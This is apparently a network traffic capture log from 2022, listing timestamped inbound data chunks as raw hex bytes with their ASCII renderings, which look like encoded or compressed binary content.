5e b2 18 f7 da 2f c6 b5 30 19 1e f6 ee b0 dd 9b 34 33 ee 0e 5f b2 18 f7 da 2f c6 9d 2f 7f 31 95 2f fe 4d f4 4b 4c e5 0b 98 
ca cf f0 20 a6 f2 c5 17 e3 5e 62 2a bf fe fe 7d c7 79 4b b7 98 ca 17 37 95 2f 31 95 af bd a9 3c 01 50 4c e5 6b 6f 2a 3f fe 
d1 25 a6 f2 b5 37 95 e7 93 14 53 f9 e2 1f 37 bf c4 1d be f6 ee f0 7c 65 89 3b 7c 71 77 f8 12 77 f8 e2 9b 86 5f 62 f3 5e 7b 
9b 77 be b2 c4 e6 bd c0 ee df 8f 66 10 9b f7 e2 cb 63 2f b1 79 2f be 3c f6 12 9b f7 da db bc b3 9b 8a cd 7b ed 6d de 79 36 
f1 6b 2f ee d7 5e e2 d7 5e 60 55 ed f3 24 65 f7 ef 6b bf fb b7 9d 4d f2 c6 6d de 4b 6c de 6b 6f f3 ce 8e 23 36 ef c5 bf 1b 
7e c9 62 dc 8b 6f 1a 7e 89 3b 7c ed dd 
Data Ascii: -LQkN+q/i%6y)6^/043_//1/MKL ^b*}yK7/1<PLko*?%7S7|e;|qww_b^{wfc/y/<{my6k/^^`U$ekMmKlko#6~bo~;|

2022-09-20 10:10:08 UTC 1497 IN Data Raw: 46 91 a3 51 14 34 8a 1c 8d a2 a0 51 e4 68 14 05 8d 22 47 a3 24 d4 91 38 75 24 a1 8e c4 a9 23 09 75 24 4e 
1d 49 a8 23 71 ea 48 42 1d 89 53 47 12 ea 48 9c 3a 92 50 47 e2 d4 91 84 3a 12 a7 8e 24 ce 4a e2 ce 4a 12 58 49 1c 56 
92 c0 4a e2 b0 92 04 56 12 87 95 24 d4 91 38 75 24 a1 8e c4 a9 23 09 75 24 4e 1d 49 2c 92 c4 2d 92 24 b0 92 38 ac 24 
81 95 c4 61 25 09 ac 24 0e 2b 49 a8 23 71 ea 48 42 1d 89 53 47 12 ea 48 9c 3a 92 50 47 e2 d4 91 84 3a 12 a7 8e 24 d4 
91 38 75 24 a1 8e c4 a9 23 09 75 24 4e 1d 49 9c 95 c4 9d 95 24 d4 91 38 75 24 a1 8e c4 a9 23 09 75 24 4e 1d 49 a8 23 
71 ea 48 42 1d 89 53 47 12 ea 48 9c 3a 92 50 47 e2 d4 91 84 3a 12 a7 8e 24 f8 90 38 3e 24 c1 87 c4 f1 21 09 3e 24 8e 0f 
49 f0 21 6d f1 e1 ef fe 6e 86 c9 bd 71 7c 48 82 0f 89 e3 43 12 7c 48 1c 
Data Ascii: FQ4Qh"G$8u$#u$NI#qHBSGH:PG:$JJXIVJV$8u$#u$NI,-$8$a%$+I#qHBSGH:PG:$8u$#u$NI$8u$
#u$NI#qHBSGH:PG:$8>$!>$I!mnq|HC|H

2022-09-20 10:10:08 UTC 1505 IN Data Raw: 13 d5 25 68 74 71 34 ba 04 8d 2e 8e 46 97 a0 d1 c5 d1 e8 12 34 ba 38 1a 5d 82 46 17 47 a3 4b d0 e8 e2 68 
74 09 1a 5d 1c 8d 2e 41 a3 8b a3 d1 25 68 74 71 34 ba 04 8d 2e 8e 46 97 a0 d1 c5 d1 e8 12 34 ba 38 1a 5d 82 46 17 47 
a3 4b d0 e8 e2 68 74 09 1a 5d 1c 8d 2e 41 a3 8b a3 d1 25 68 74 71 34 ba 04 8d 2e 8e 46 97 a0 d1 c5 d1 e8 12 34 ba 38 
1a 5d c2 38 17 67 9c 4b 18 e7 e2 8c 73 09 e3 5c 9c 71 2e 61 9c 8b 33 ce 25 8c 73 71 c6 b9 04 56 2e 0e 2b 97 c0 ca c5 
61 e5 12 43 e6 e2 86 cc 25 8c 73 71 c6 b9 84 71 2e ce 38 97 30 ce c5 19 e7 12 c6 b9 38 e3 5c c2 38 17 67 9c 4b 18 e7 
e2 8c 73 09 e3 5c 9c 71 2e 81 95 8b c3 ca 25 b0 72 71 58 b9 04 56 2e 0e 2b 97 c0 ca c5 61 e5 12 ea b8 38 75 5c 42 1d 
17 a7 8e 4b a8 e3 e2 d4 71 09 75 5c 9c 3a 2e a1 8e eb 6f a0 0e b1 7f 2e 6e 
Data Ascii: %htq4.F48]FGKht].A%htq4.F48]FGKht].A%htq4.F48]8gKs\q.a3%sqV.+aC%sqq.808\8gKs\q.%rqXV.+a8
u\BKqu\:.o.n

2022-09-20 10:10:08 UTC 1512 IN Data Raw: 71 b2 30 4e e6 8c 93 c5 35 ca dc 35 ca 82 46 99 a3 51 16 34 ca 1c 8d b2 c0 4a e6 b0 92 05 56 32 87 95 2c b0 
92 39 ac 64 81 95 cc 61 25 0b ac 64 0e 2b 59 60 25 73 58 c9 42 1d 99 53 47 16 ea c8 9c 3a b2 50 47 e6 d4 91 85 3a 32 
a7 8e 2c ce 4a e6 ce 4a 16 58 c9 1c 56 b2 50 47 e6 d4 91 85 3a 32 a7 8e 2c d4 91 39 75 64 a1 8e cc a9 23 0b 75 64 4e 
1d 59 a8 23 73 ea c8 42 1d 99 53 47 16 ea c8 9c 3a b2 50 47 e6 d4 91 85 3a 32 a7 8e 2c f8 90 39 3e 64 c1 87 cc f1 21 0b 
3e 64 8e 0f 59 f0 21 73 7c c8 82 0f 99 e3 43 16 7c c8 1c 1f b2 e0 43 e6 f8 90 05 1f 32 c7 87 2c f8 90 39 3e 64 c1 87 cc f1 
21 0b 3e 64 8e 0f 59 f0 21 73 7c c8 82 0f 99 e3 43 16 7c c8 1c 1f b2 e0 43 e6 f8 90 05 1f 32 c7 87 2c 16 49 e6 16 49 16 
ea c8 9c 3a b2 50 47 e6 d4 51 84 3a 0a a7 8e 22 d4 51 38 75 
Data Ascii: q0N55FQ4JV2,9da%d+Y`%sXBSG:PG:2,JJXVPG:2,9ud#udNY#sBSG:PG:2,9>d!>dY!s|C|C2,9>d!>dY!s|C|C
2,II:PGQ:"Q8u

2022-09-20 10:10:08 UTC 1520 IN Data Raw: ca d0 b1 32 80 95 a1 63 65 00 2b 43 c7 ca 00 56 86 8e 95 01 ac 0c 1d 2b 03 58 19 3a 56 26 b0 32 75 ac 4c 
60 65 ea 58 99 c0 ca d4 b1 32 81 95 a9 63 65 e2 39 ce d4 9f e3 4c 18 67 ea c6 99 30 ce d4 8d 33 f1 1c 67 ea cf 71 26 68 
34 75 1a 4d d0 68 ea 34 9a a0 d1 d4 69 34 61 9c a9 1b 67 c2 38 53 37 ce 84 71 a6 6e 9c 09 e3 4c dd 38 13 c6 99 ba 71 
26 8c 33 75 e3 4c 18 67 ea c6 99 30 ce d4 8d 33 f1 64 65 ea 4f 56 26 68 34 75 1a 4d d0 68 ea 34 9a 30 ce d4 8d 33 61 9
c a9 1b 67 c2 38 53 37 ce 84 71 a6 6e 9c 09 e3 4c dd 38 13 c6 99 ba 71 26 8c 33 75 e3 4c 18 67 ea c6 99 c0 ca d4 b1 32 
81 95 a9 63 65 02 2b 53 c7 ca 04 56 a6 8e 95 09 ac 4c 1d 2b 13 58 99 3a 56 26 b0 32 75 ac 4c 60 65 ea 58 99 c0 ca d4 
b1 32 81 95 a9 63 65 02 2b 53 c7 ca 04 56 a6 8e 95 09 ac 4c 1d 2b 13 
Data Ascii: 2ce+CV+X:V&2uL`eX2ce9Lg03gq&h4uMh4i4ag8S7qnL8q&3uLg03deOV&h4uMh403ag8S7qnL8q&3
uLg2ce+SVL+X:V&2uL`eX2ce+SVL+

2022-09-20 10:10:08 UTC 1528 IN Data Raw: 43 2c 02 62 51 87 58 04 c4 a2 0e b1 08 88 45 1d 62 11 10 8b 3a c4 22 20 16 75 88 45 40 2c ea 10 8b 80 58 
d4 21 16 01 b1 a8 43 2c 02 62 51 87 58 04 c4 a2 0e b1 08 88 45 1d 62 11 10 8b 3a c4 22 20 16 75 88 45 40 2c ea 10 8b 
80 58 d4 21 16 01 b1 a8 43 2c 02 62 51 87 58 04 c4 a2 0e b1 08 88 45 1d 62 11 10 8b 3a c4 22 20 16 75 88 45 40 2c ea 
10 8b 80 58 d4 21 16 01 b1 a8 43 2c 02 62 51 87 58 04 c4 a2 0e b1 08 88 45 1d 62 11 10 8b 3a c4 22 20 16 75 88 45 40 
2c ea 10 8b 80 58 d4 21 16 01 b1 a8 43 2c 02 62 51 87 58 04 c4 a2 0e b1 08 88 45 1d 62 11 10 8b 3a c4 22 20 16 75 88 
45 40 2c ea 10 8b 80 58 d4 21 16 01 b1 a8 43 2c 02 62 51 87 58 04 c4 a2 0e b1 08 88 45 1d 62 11 10 8b 3a c4 22 20 16 
75 88 45 40 2c ea 10 8b 80 58 d4 21 16 01 b1 a8 43 2c 02 62 51 87 58 04 c4 
Data Ascii: C,bQXEb:" uE@,X!C,bQXEb:" uE@,X!C,bQXEb:" uE@,X!C,bQXEb:" uE@,X!C,bQXEb:" uE@,X!C,bQXEb:" 
uE@,X!C,bQX

2022-09-20 10:10:08 UTC 1536 IN Data Raw: 63 cf 11 a7 3c 47 9c 7b 8e 38 cd 39 e2 e3 c6 ff dc 73 c4 29 cf 11 e7 9e 23 be 2b ff bd d2 e3 29 3f ef 47 1c ef 
ee 44 3d ef f4 03 b7 a2 ee 6d 75 67 1c 1f 07 5a 93 6f 43 df 45 d1 9a 7c 23 fa 2e 9a 50 4d 3d 2f dd 45 33 aa e9 7d 3b d1 
37 73 c6 f8 b9 ab a1 6f f2 9c f1 2e 8a be 99 b3 c6 c7 95 fb 40 1a e3 6b 5b dd 25 17 fe 48 f9 0e f3 81 04 c7 d7 b6 d1 da 2f 
ab 1a 5a 93 ef 32 df 45 b1 4b ec fb cc bf ae 6a f8 b9 e5 3b cd c7 87 47 df cc 10 ea de 93 1e 7d 93 df 0c b9 8b a2 6f e6 9d 
ed ff b5 46 b7 47 df e4 89 ee f1 11 d0 37 73 aa fb d7 7f ac 6a e8 9b fc 86 c8 5d 14 7d 93 df 11 b9 8b a2 6f f2 d4 fa f8 88 e8 
9b 39 b9 de ad 45 f4 4d 9e 5e df 45 d1 37 73 82 bd 4f 0a 11 7d 93 a7 d8 c7 47 42 df e4 fb a3 77 51 f4 4d 9e 66 df 45 d1 
37 fb a5 fe 75 94 24 f4 4d 9e 00 df 45 d1 
Data Ascii: c<G{89s)#+)?GD=mugZoCE|#.PM=/E3};7so.@k[%H/Z2EKj;G}oFG7sj]}o9EM^E7sO}GBwQMfE7u$ME

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 1544 IN Data Raw: 79 c5 d9 c7 24 ae 38 ef 9e 48 bc b4 86 27 12 ee dd c3 88 ef d5 96 71 f0 30 c2 45 7d 04 44 8c 80 a8 8b 2a 62 
04 44 7d 04 44 8c 80 68 5e 71 d6 dd b2 88 2b 4e d4 af 38 11 57 9c a8 df e7 8f b8 cf 1f f5 f1 16 31 de a2 7e d7 25 62 bc 
45 7d bc 45 8c b7 68 8e b7 5f fe b2 aa a1 35 7d bc 45 8c b7 a8 cf f0 22 c6 5b d4 c7 5b c4 78 8b e6 78 5b 33 f3 88 f1 16 f5 
f1 96 30 de 92 f9 5c ed 4f 7f 59 d5 f6 51 92 f4 f1 96 30 de 92 fe 5c 2d 61 bc 25 7d bc 25 8c b7 64 5e 71 d6 e8 4e b8 e2 24 
7d bc 25 8c b7 64 ce f0 3e 77 35 f4 4d 1f 6f 09 e3 2d 99 e3 ed f1 46 cf 5d 14 ad e9 e3 2d 61 bc 25 f3 d5 eb 47 3c f2 2e 8a 
3d a9 8f b7 84 f1 96 cc f1 b6 9e 61 24 8c b7 a4 8f b7 84 f1 96 cc f1 f6 a7 75 94 60 bc 25 7d bc 65 8c b7 6c 8e b7 75 2e c9 
18 6f 59 1f 6f 19 e3 ed db f6 fb bb b0 4b 1d 
Data Ascii: y$8H'q0E}D*bD}Dh^q+N8W1~%bE}Eh_5}E"[[xx[30\OYQ0\-a%}%d^qN$}%d>w5Mo-F]-a%G<.=a$u`%}elu.oY
oK

2022-09-20 10:10:08 UTC 1551 IN Data Raw: fb 4b ea eb df e2 1e da 9f 97 fd fa 77 fa 18 5d 6c f4 2e 3a 5e eb 0e 71 27 dd 45 e7 6b 5d e5 c4 f6 bd e8 fc 78 
a9 3b d5 1d 75 17 bd 5e eb aa bb ea 2e 8a 7d a5 9f 55 91 fc 4a 76 f2 6b b9 05 c9 af a4 27 bf 12 92 5f c9 5e e8 71 cd 2b 
b0 d0 63 d2 93 5f 09 c9 af 64 27 bf d6 83 08 24 bf 92 9e fc 4a 48 7e 25 61 81 c8 df 56 35 b4 a6 9f c3 91 fc 4a 76 f2 eb 87 
f5 bb 61 16 a3 27 bf 12 92 5f c9 4e 7e ad 37 8b 90 fc 4a 7a f2 2b 21 f9 95 ec e4 d7 2f ff 5c d5 d0 9a 3e 8b 41 f2 2b d9 c9 
af 1f 56 6b 50 83 be 5c 63 c2 72 8d c9 5e ae f1 73 57 43 6b fa 78 43 ce 2c d9 cb 35 ae 13 0a 96 6b 4c 7a ce 2c 21 67 96 
ec 9c d9 7a 65 01 39 b3 a4 e7 cc 12 72 66 5f db f3 5d 66 66 6b ef 7b 24 8d c7 b3 3e e8 3a 06 5d 37 27 4e 7f fd c7 aa b6 
2f d7 7a b4 2d 21 da 96 ec 68 db ba 0a 21 da 96 
Data Ascii: Kw]l.:^q'Ek]x;u^.}UJvk'_^q+c_d'$JH~%aV5Jva'_N~7Jz+!/\>A+VkP\cr^sWCkxC,5kLz,!gze9rf_]ffk{$>:]7'N/z-!h!

2022-09-20 10:10:08 UTC 1559 IN Data Raw: 0d 91 c7 66 47 1e 3f 77 35 b4 a6 8f 00 44 1e 9b 1d 79 5c b7 43 11 79 6c fa 42 57 0d 0b 5d 35 7b a1 ab 35 de 
b0 d0 55 d3 03 96 0d 01 cb a6 07 2c 1b 02 96 4d 0f 58 36 04 2c 9b 1d b0 dc ad e1 8a f3 ae c6 73 6b 1d af 45 dc db ea a3 
95 bb 68 da d5 e4 2b 4e 47 c0 b2 db 01 cb c7 a3 cc 8e 80 65 d7 03 96 1d 01 cb 6e 07 2c 1f 37 74 3a 02 96 5d 8f 3c 76 44 
1e bb be f4 54 47 e4 b1 eb 91 c7 8e c8 63 b7 23 8f 8f 19 5e 47 e4 b1 eb 91 c7 8e c8 63 b7 23 8f 8f 33 57 47 e4 b1 eb 91 
c7 8e c8 63 b7 23 8f 9f bb 1a 5a d3 47 00 22 8f f7 b6 1a 9d bb 8b ee 11 a0 47 1e 3b 22 8f f7 b6 fa ca c7 5d 14 ad e9 23 
00 91 c7 6e 47 1e 3f 57 df 30 02 f4 c8 63 47 e4 b1 eb 0b 5d 75 44 1e bb 1e 79 ec 88 3c 76 3b f2 f8 78 1d b8 23 f2 d8 f5 c8 
63 47 e4 f1 6b fb cd bd 92 75 f8 7f 2b 77 3e d5 7a ff 
Data Ascii: fG?w5Dy\CylBW]5{5U,MX6,skEh+NGen,7t:]<vDTGc#^Gc#3WGc#ZG"G;"]#nG?W0cG]uDy<v;x#cGku+w>z

2022-09-20 10:10:08 UTC 1567 IN Data Raw: b0 7a 8d 02 fc 9c 28 9f bb 44 df e3 88 f4 dc e5 1f a6 c9 11 7d f9 dc 25 fa b9 cb e3 51 58 3f 1f cd 06 94 e9 8c f5 
3f ff d7 65 02 ca 74 6c f2 cf 5f 5d 66 44 99 ce 4c f7 eb 9f 2e 13 51 46 19 0b cf 3e bc 34 af a1 4b 85 37 9d 42 39 15 ca 89 
03 bc 0b 79 48 78 92 8f 48 b3 7c b8 26 1f 12 f2 01 59 f4 03 32 5e 9b ce 34 f9 ee 46 94 6f df 45 3f 55 8b f4 54 cd 35 79 9f 
e4 53 b5 e8 a7 6a 91 de be ab 17 11 a3 df be 8b f2 ed bb e8 47 71 91 1e c5 99 e9 fa 51 9c 5a d7 ef 6c 09 b9 42 e8 f9 9d 
69 82 d4 1f f4 4c ad 2e c9 11 92 7f c8 67 6a d1 cf d4 a2 4c 17 45 3f 53 8b f2 99 5a f4 33 b5 c8 6f df dd aa 90 f7 49 be 7d 
17 fd 20 8e 97 36 ac 37 77 a2 d3 45 51 a6 8b a2 9f de 45 7a 7a 57 09 92 e8 a7 77 91 9e de 55 9f 20 fa e9 1d af bb f8 f1 
cd e9 8e 7e 7a c7 ab 2e da d8 f3 d3 bb 28 
Data Ascii: z(D}%QX??etl_]fDL.QF>4K7B9yHxH|&Y2^4FoE?UT5ySjGqQZlBiL.gjLE?SZ3oI} 67wEQEzzWwU ~z.(

2022-09-20 10:10:08 UTC 1575 IN Data Raw: 00 6c 7c 3e f7 c5 6c fc 27 b0 36 1d 6c 2c 00 36 16 0e 36 9a 17 06 60 63 d1 c1 c6 02 60 63 e1 60 a3 6b 03 6b 
d3 c1 c6 02 60 63 e1 60 63 4d 8f 58 00 6c 2c 3a d8 58 00 6c 2c 7a a5 b9 02 95 e6 8a 0e 36 16 00 1b 0b 07 1b 2d c6 02 
b0 b1 e8 60 63 01 b0 b1 f0 4a 73 b6 ba 41 a5 b9 a2 83 8d 05 c0 c6 c2 c1 46 f3 c2 00 6c 2c 3a d8 58 00 6c 2c bc d2 5c 85 
08 0a 54 9a 2b 7a a5 b9 02 95 e6 0a af 34 67 a3 04 2a cd 15 1d a3 2c 80 51 16 8e 51 9a bd 01 46 59 74 8c b2 00 46 59 
04 8c f2 ab 89 81 36 dd de 00 a3 2c bc ae 9d bf 49 b0 37 1d 6c 2c 00 36 16 0e 36 9a 36 00 1b 8b 0e 36 16 00 1b 0b 07 1b 
6f 2e 06 da 74 0b 00 b0 f1 7c 56 6f 42 9d 4d fd 4d ea 60 63 01 b0 b1 70 b0 d1 df 24 58 80 0e 36 16 00 1b 0b 07 00 6d 5f 
1b 00 c0 a2 d7 b5 2b 50 d7 ae f0 ba 76 b6 76 43 5d bb a2 e3 86 
Data Ascii: l|>l'6l,66`c`c`kk`c`cMXl,:Xl,z6-`cJsAFl,:Xl,\T+z4g*,QQFYtFY6,I7l,6666o.t|VoBMM`cp$X6m_+PvvC]

2022-09-20 10:10:08 UTC 1583 IN Data Raw: 2a 2b 67 55 5c 1b 78 77 3a ab b2 02 ab 72 3e cb 6b db 06 f1 8d ce aa ac c0 aa ac 9c 55 f9 fe 1f 13 83 be e9 
ab 0d b0 2a e7 33 9d b5 6e 26 06 7d d3 2d 00 58 95 55 60 55 fe 34 31 e8 9b be da 00 ab b2 72 56 c5 62 6e 60 55 56 9d 
55 59 81 55 59 39 ab 62 d6 0d ac ca aa b3 2a 2b b0 2a 2b 67 55 3e bb 98 6b d3 e9 91 15 e8 91 95 d3 23 37 17 03 6d ba 
05 00 3d b2 72 7a c4 56 52 a0 47 56 9d 1e 59 81 1e 59 79 05 24 b3 6e a8 80 b4 ea f4 c8 0a f4 c8 ca e9 11 1b 25 40 8f ac 
3a cf b1 02 cf b1 72 c6 c2 d6 00 60 2c 56 bd 02 d2 0a 15 90 56 5e 01 c9 66 65 a8 80 b4 ea 44 c7 0a 44 c7 ca 89 0e bb 11 
01 44 c7 aa 13 1d 2b 10 1d 2b 27 3a ec 4d 02 d1 b1 ea 44 c7 0a 44 c7 ca 89 8e 9a 6d 63 05 a2 63 d5 89 8e 15 88 8e 95 
13 1d 16 4d 01 d1 b1 ea 44 c7 0a 44 c7 ca 89 8e 5a 2b 72 05 a2 63 
Data Ascii: *+gU\xw:r>kU*3n&}-XU`U41rVbn`UVUYUY9b*+*+gU>k#7m=rzVRGVYYy$n%@:r`,VV^feDDD++':
MDDmccMDDZ+rc

2022-09-20 10:10:08 UTC 1591 IN Data Raw: d0 e6 67 2a 9b 7c a6 b2 b9 03 bc d1 40 ca 5e 84 07 52 1b 0d a4 6a 10 bf 79 20 b5 c9 67 2a 9b 9f a9 6c 34 fa 
b2 9f e7 d1 d7 46 8f 47 6a 10 bf f9 f1 c8 26 07 52 9b 07 52 1b 0d a4 cc 9f 58 40 93 fc 22 3c 90 da 68 20 55 e9 f0 cd 03 a9 
4d 0e a4 36 0f a4 36 7a 68 61 7d f2 43 8b 4d 3e b4 d8 3c ac d9 68 e8 60 b3 91 87 0e 9b 7c 68 b1 f9 a1 c5 46 0f 2d 6c c0 
fa a1 c5 46 0f 2d 7e fd 51 85 fc e7 c9 41 ca e6 41 ca 46 e3 8d ba 05 b2 79 bc b1 d1 78 c3 66 58 8f 37 36 39 de d8 3c de 
78 3c 2e 52 0a c6 b7 96 c3 45 52 c8 f5 fd d6 32 a0 64 ff 87 ba 4e 1f 85 f2 99 c7 e6 11 f9 46 8f 2f 6c 56 f7 e3 8b ad d3 fe 
55 a8 86 2c bb 47 1f fb f3 15 ee 42 5a f8 b7 96 e5 22 d9 71 97 be fd 68 24 a7 8b 64 e7 42 4c bd 29 ff d6 72 be 48 76 92 
d1 63 17 cf 96 4b 2b d9 7b 39 de cf c1 85 d4 91 b9 
Data Ascii: g*|@^Rjy g*l4FGj&RRX@"<h UM66zha}CM><h`|hF-lF-~QAAFyxfX769<x<.RER2dNF/lVU,GBZ"qh$dBL)rHv
cK+{9

2022-09-20 10:10:08 UTC 1598 IN Data Raw: 42 fa 95 c6 e6 76 68 ba 42 6c be d2 d8 dc a2 e5 15 62 f3 55 8f 28 57 88 28 57 fd 3c 72 85 88 72 d5 23 ca 15 
22 ca 95 46 94 16 07 ad 10 51 ae 7a 44 b9 42 44 b9 ea d7 e2 56 08 0d 57 1a 1a da 56 cc 0a a1 e1 aa 87 86 2b 84 86 2b 
0d 0d bf fe af 89 c1 07 d0 43 c3 15 42 c3 55 2f 6f bc 42 68 b8 ea a1 e1 0a a1 e1 4a c3 34 0b e9 57 08 d3 56 3d 4c 5b 21 
4c 5b 79 79 e3 5f 4d 0c fa a6 87 4c 2b 84 4c ab 9e 4e 62 85 90 69 ed 48 5c b4 dd c1 c1 b8 53 4f c1 26 bc 3b 78 0a 77 7d 
7f f6 0e fb b3 77 ba 3f 6b ce d3 1d f6 67 ef fa 66 e4 1d 26 bc bb 9e f5 e8 0e 13 de 5d 9f f0 ee 30 e1 dd e9 84 67 a1 c4 1d 
26 bc bb 6e dd 77 b0 ee fb f2 3e f8 fd f6 dd be 99 58 01 b1 f2 53 e8 1c ee 59 ec ff 6c b8 b7 72 9d c3 3d 73 d1 9f 0d 8f 46 
ae ff 33 41 23 0c 2f dd 74 ee 60 3a 77 bd 64 cc 1d 4c 
Data Ascii: BvhBlbU(W(W<rr#"FQzDBDVWV++CBU/oBhJ4WV=L[!L[yy_ML+LNbiH\SO&;xw}w?kgf&]0g&nw>XS
Ylr=sF3A#/t`:wdL

2022-09-20 10:10:08 UTC 1606 IN Data Raw: df 3e 81 d8 84 f3 10 4f 7a 66 e3 19 92 9e 15 3d e9 59 81 a4 67 85 27 3d b3 d3 1b 48 7a 56 f4 34 64 05 d2 90 
3d 9f fb 62 bf 9b 36 b0 1e 3d 0d 59 81 34 64 45 4f 43 56 20 0d 59 d1 d3 90 15 48 43 56 78 1a 32 7f 93 60 3d 7a 1a b2 02 
84 4f e1 69 c8 2c c6 80 34 64 45 4f 43 56 20 0d 59 e1 69 c8 cc c3 81 34 64 45 4f 0c 56 20 31 58 e1 89 c1 6c 1e 82 c4 60 
45 4f 0c 56 20 31 58 e1 89 c1 2c 12 85 c4 60 45 4f 0c 56 20 31 d8 f3 b9 2f 66 d1 da 06 16 a0 27 06 2b 90 18 ec f9 4c 46 
c9 67 13 03 6d ba 05 40 62 b0 c2 13 83 79 df c0 02 7a 9c da 45 1b 70 6a e7 b3 7c 7a b3 83 bf a6 a7 ea 2a 90 aa ab f0 54 
5d f6 26 21 55 57 d9 f5 31 b9 c3 98 dc f5 dd dd 1d c6 a4 9e 18 ac ec 30 26 39 79 e7 6f 12 c6 a4 4e de 15 20 ef 9e cf 6a df 
60 4c ee fa 98 dc 61 4c ee fa f9 e5 0e 63 52 e7 fc 0a 
Data Ascii: >Ozf=Yg'=HzV4d=b6=Y4dEOCV YHCVx2`=zOi,4dEOCV Yi4dEOV 1Xl`EOV 1X,`EOV 1/f'+LFgm@byzEpj|z*
T]&!UW10&9yoN j`LaLcR

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 1614 IN Data Raw: 05 40 4a 8f 81 e7 f4 a8 f7 da 86 11 93 55 e9 16 30 82 05 8c 7a be aa 11 56 1c 3d 87 c8 00 49 44 06 9e 45 a4 
9e ea 0f 90 46 64 d0 f3 88 0c 90 48 64 e0 99 44 cc 02 60 af 7b d0 33 7c 0c 90 e2 63 e0 39 3e 6e 2e 06 da f4 35 00 d2 7c 
0c 3c cf 87 bf 49 58 03 f4 4c 1f 03 a4 fa 18 78 75 1d b3 b7 08 16 a0 67 e1 18 60 93 7b e0 79 38 2c 9e 82 3d ee 41 cf c4 
31 40 2a 8e 81 e7 e2 b0 3c 6a b0 33 3e e8 d9 38 06 48 c7 31 f0 7c 1c 9e 1f 0e 2c 40 cf c8 31 40 4a 8e 81 e7 e4 f0 be 81 
05 e8 59 39 06 48 cb 31 f0 bc 1c 16 2b 42 62 8e 41 cf cc 31 40 6a 8e 81 e7 e6 b8 b9 18 68 d3 ed 0d d2 73 0c 7a 7e 8e 01 
12 74 0c 7a 86 8e 01 52 74 0c 3c 47 87 c5 38 90 a4 63 d0 33 5a 0c 90 d2 e2 f9 4c de e4 77 13 03 6d fa 98 84 b4 16 03 cf 
6b 51 6f ff 0c 90 d8 62 d0 f3 4d 0c 90 70 62 e0 19 27 ec 
Data Ascii: @JU0zV=IDEFdHdD`{3|c9>n.5|<IXLxug`{y8,=A1@*<j3>8H1|,@1@JY9H1+BbA1@jhsz~tzRt<G8
c3ZLwmkQobMpb'

2022-09-20 10:10:08 UTC 1622 IN Data Raw: 4d 1f 93 b0 a3 06 df 8e 6a 6f 26 b0 a3 06 dd 8e 1a 60 47 0d fe 66 79 8f f7 16 86 6c fa 0c 80 1d 35 f8 1b d7 95 
73 c3 0c d0 37 ae 0b d8 b8 2e f8 1b d7 d9 ca 85 8d eb 82 6e 7e 0d 30 bf 06 df fc fa 28 61 c8 a6 3f 29 c0 fc 1a 7c f3 6b 39 
37 3c 29 e8 e6 d7 00 f3 6b f0 cd af a5 df 30 df 74 f3 6b 80 f9 35 f8 db c2 fd f0 a7 85 21 9b 3e df 60 63 0d fe b6 70 06 9f b1 
2d 5c d0 b7 85 0b d8 16 2e f8 db c2 d9 73 09 b6 85 0b ba 69 36 c0 34 1b 7c d3 ac 3d d7 c3 34 1b 74 d3 6c 80 69 36 f8 a6 
d9 92 0d f3 4d 37 cd 06 98 66 83 6f 9a 7d 94 30 64 d3 e7 1b 4c b3 c1 37 cd 96 6c 98 6f ba 69 36 c0 34 1b 7c d3 ec 47 1b 
25 98 6f ba 69 36 c0 34 1b 7c d3 ec 65 a4 0f 30 cd 06 dd 34 1b 60 9a 0d fe 26 74 26 b4 c4 26 74 41 b7 b1 06 d8 58 83 bf 
2d 9c 3d 73 61 5b b8 a0 bb 16 03 5c 8b cf e3 
Data Ascii: Mjo&`Gfyl5s7.n~0(a?)|k97<)k0tk5!>`cp-\.si64|=4tli6M7fo}0dL7loi64|G%oi64|e04`&t&&tAX-=sa[\

2022-09-20 10:10:08 UTC 1630 IN Data Raw: 87 66 df 3d 64 63 12 ee a1 59 77 0f cd 70 0f cd be 7b e8 fa 76 38 c3 3d 34 eb ee a1 19 ee a1 d9 77 0f 3d 4a 
18 b2 e9 f3 0d ee a1 d9 77 0f fd 60 57 72 46 36 7d be c1 3d 34 fb ee a1 72 6e 98 6f ba 9f 67 86 9f 67 f6 fd 3c 57 69 d3 19 
7e 9e 59 77 d8 cc 70 d8 cc be c3 c6 56 2e 38 6c 66 dd 61 33 c3 61 33 0b db b9 7d b5 30 64 d3 c7 24 1c 36 b3 ef b0 29 
d9 30 26 f5 ed dc e6 1e 63 b2 97 bf 05 cd d8 ce 6d d6 fd 3c 33 fc 3c e7 b1 7c c7 e9 cb b7 a0 59 f7 f3 cc f0 f3 cc be 9f e7 fa
86 37 c3 cf 33 eb 7e 9e 19 7e 9e d9 f7 f3 5c e6 e7 19 7e 9e 59 f7 f3 cc f0 f3 cc ba 9f 67 86 9f 67 d6 fd 3c 33 fc 3c b3 ef e7 
b9 3c 2f 33 fc 3c b3 ee e7 99 e1 e7 99 7d 3f cf a5 73 98 e1 e7 99 75 3f cf 0c 3f cf 2c f8 79 be 5a 18 b2 e9 f3 0d 9b c7 cd 
fe e6 71 97 44 6e c6 e6 71 b3 6e 03 9a 61 
Data Ascii: f=dcYwp{v8=4w=Jw`WrF6}=4rnogg<Wi~YwpV.8lfa3a3}0d$6)0&cm<3<|Y73~~\~Ygg<3<</3<}?su??,yZqDnqna

2022-09-20 10:10:08 UTC 1637 IN Data Raw: 68 10 3a 5f 84 60 6b 09 54 08 9d 2e 43 e8 a0 43 e8 7c 21 82 dd 71 a0 44 e8 74 29 42 07 2d 42 e7 8b 11 2e 
19 51 07 35 42 a7 cb 11 3a e8 11 3a 7f a7 67 9b 6f 01 fd a6 0b 05 3a 28 05 3a 5f 2a 60 33 00 5a 81 4e 17 0b 74 50 0b 74 
be 5c c0 ce 0d 7a 81 4e 17 0c 74 50 0c 74 be 64 e0 cb 3b 0b 43 36 bd df a0 1a e8 7c d9 80 3d bd 42 37 d0 ac 47 54 65 
83 72 a0 f3 a5 03 76 25 a1 1d e8 74 f1 40 07 f5 40 e7 cb 07 4c 02 9b a8 4c d5 fb 0d 0a 82 ce 97 10 94 73 43 bf e9 22 82 
0e 2a 82 ce 97 11 3c 4a 18 55 b7 72 36 28 09 3a 5f 4a 60 57 12 5a 82 4e 17 13 74 50 13 74 ba 9c a0 83 9e a0 d3 05 05 
5d a6 a6 d8 ed b7 af 45 54 8c 6c 7a bf 41 55 d0 f9 b2 02 9b 6f d0 15 34 eb 70 55 d9 a0 2c e8 7c 69 81 3d 97 40 5b d0 e9 
